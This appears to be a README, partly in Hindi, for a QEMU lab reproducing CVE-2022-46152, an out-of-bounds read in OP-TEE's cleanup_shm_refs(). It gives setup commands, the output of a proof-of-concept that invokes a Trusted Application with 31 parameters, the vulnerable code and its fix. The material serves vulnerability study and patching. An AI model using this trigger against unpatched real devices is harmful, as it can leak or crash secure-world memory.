CVE-2022-46152/
├── README.md                           # यह फ़ाइल (अंग्रेज़ी)
├── README.zh.md                        # चीनी संस्करण
├── setup.sh                            # एक-कमांड वातावरण सेटअप
├── run_qemu.sh                         # QEMU लॉन्च करें
├── exploit.sh                          # स्वचालित/मैन्युअल पुनरुत्पादन स्क्रिप्ट
├── cve-2022-46152-oob-emsg.patch       # OP-TEE OS डिबग पैच (entry_std.c OOB EMSG)
├── qemu-pflash-suppress-unimp-log.patch # QEMU पैच (pflash_write शोर लॉग दबाएं)
├── poc/
│   ├── cve_2022_46152.c               # PoC एक्सप्लॉइट स्रोत (libteec को बायपास करने वाला सीधा ioctl)
│   └── Makefile                       # क्रॉस-कंपाइलेशन Makefile
├── docs/
│   └── vulnerability_analysis.md      # विस्तृत तकनीकी भेद्यता विश्लेषण
└── optee/                             # OP-TEE वातावरण (setup.sh द्वारा बनाया गया)
    ├── optee_os/                      # OP-TEE OS 3.18.0 (असुरक्षित संस्करण)
    ├── build/                         # बिल्ड सिस्टम (qemu_v8.mk)
    ├── linux/                         # लिनक्स कर्नेल
    ├── buildroot/                     # Buildroot rootfs
    ├── trusted-firmware-a/            # TF-A v2.6
    ├── qemu/                          # QEMU v7.0.0 (स्रोत)
    └── out/bin/                       # बिल्ड आर्टिफैक्ट्स
        ├── bl1.bin                    # TF-A BL1
        ├── Image                      # लिनक्स कर्नेल इमेज
        └── rootfs.cpio.gz             # PoC युक्त rootfs

# Ubuntu/Debian
sudo apt-get install -y \
    repo git make python3 \
    aarch64-linux-gnu-gcc \
    device-tree-compiler \
    libglib2.0-dev libpixman-1-dev \
    netcat-openbsd expect

# Verify
aarch64-linux-gnu-gcc --version
repo --version

cd CVE-2022-46152
mkdir -p optee
cd optee
repo init -u https://github.com/OP-TEE/manifest.git -m qemu_v8.xml -b 3.18.0
cd ..

./setup.sh

# तीन टर्मिनल खोलें:

# टर्मिनल 1 — QEMU प्रारंभ करें:
./run_qemu.sh --no-gdb

# टर्मिनल 2 — सामान्य विश्व कंसोल (run_qemu.sh शुरू होने के बाद चलाएँ):
python3 optee/build/soc_term.py 54320

# टर्मिनल 3 — सुरक्षित विश्व (OP-TEE लॉग, run_qemu.sh शुरू होने के बाद चलाएँ):
python3 optee/build/soc_term.py 54321

# सामान्य विश्व टर्मिनल (54320) में, लॉगिन प्रॉम्प्ट दिखाई देने के बाद:
(none) login: root

# PoC चलाएँ
/root/cve_2022_46152

=== CVE-2022-46152 PoC Exploit ===
OP-TEE cleanup_shm_refs() Out-of-Bounds Read
Affected: OP-TEE OS < 3.19.0

[+] Opened /dev/tee0
[*] Opening session to Hello World TA...
[+] Session opened: id=2
[*] Triggering vulnerability: invoking with num_params=31
[*] saved_attr[] has only 4 slots -> reading 27 extra stack words OOB
[*] Buffer size: 1016 bytes (TEE_MAX_ARG_SIZE limit: 1024)
[+] ioctl returned: ret=0xffff0006 origin=0x3

[+] VULNERABILITY TRIGGERED!
[+] TEE returned TEE_ERROR_BAD_PARAMETERS (0xFFFF0006)
[+] entry_invoke_command() rejected num_params=31,
[+] but cleanup_shm_refs(31, saved_attr[4], ...) ran OOB!
[*] Check the Secure World UART (port 54321) for crash details.

[*] Done. Check secure world UART output for OOB/abort evidence.

I/TC: OP-TEE version: 3.18.0 (...)
...
I/TA: Hello World!
E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB! cleanup_shm_refs num_params=31 > TEE_NUM_PARAMS=4
D/TC:? 0 tee_ta_close_session:511 csess ... id 2
I/TA: Goodbye!

/* core/tee/entry_std.c */
static TEE_Result entry_invoke_command(struct optee_msg_arg *arg)
{
    uint32_t saved_attr[TEE_NUM_PARAMS];   /* only 4 slots! */
    ...
    res = copy_in_params(arg->params, arg->num_params, params, saved_attr);
    if (res != TEE_SUCCESS) {
        /* ❌ BUG: num_params can be 127, OOB read of saved_attr[4..126] */
        cleanup_shm_refs(arg->num_params, saved_attr, arg->params);
        goto out;
    }
    ...
}

    if (res != TEE_SUCCESS) {
        /* ✅ FIX: MIN(4, 127) = 4, no longer out of bounds */
        cleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), saved_attr, arg->params);
        goto out;
    }

# Set up the environment
./setup.sh

# Start QEMU (with GDB debug port)
./run_qemu.sh

# Start QEMU (without waiting for GDB)
./run_qemu.sh --no-gdb

# Show manual reproduction steps
./exploit.sh --manual

# Automated reproduction (no extra terminals needed, output to current shell)
./exploit.sh

# Connect to Normal World console (after run_qemu.sh has started)
python3 optee/build/soc_term.py 54320

# Connect to Secure World log (after run_qemu.sh has started)
python3 optee/build/soc_term.py 54321

# Debug OP-TEE OS with GDB
aarch64-linux-gnu-gdb optee/optee_os/out/arm/core/tee.elf
(gdb) target remote localhost:1234
(gdb) c

pflash_write: Write to buffer emulation is flawed

cd optee/qemu
git apply ../../qemu-pflash-suppress-unimp-log.patch
cd build
make -j$(nproc) qemu-system-aarch64

cd optee/optee_os
git apply ../../cve-2022-46152-oob-emsg.patch
cd ../../
make -C optee/build optee-os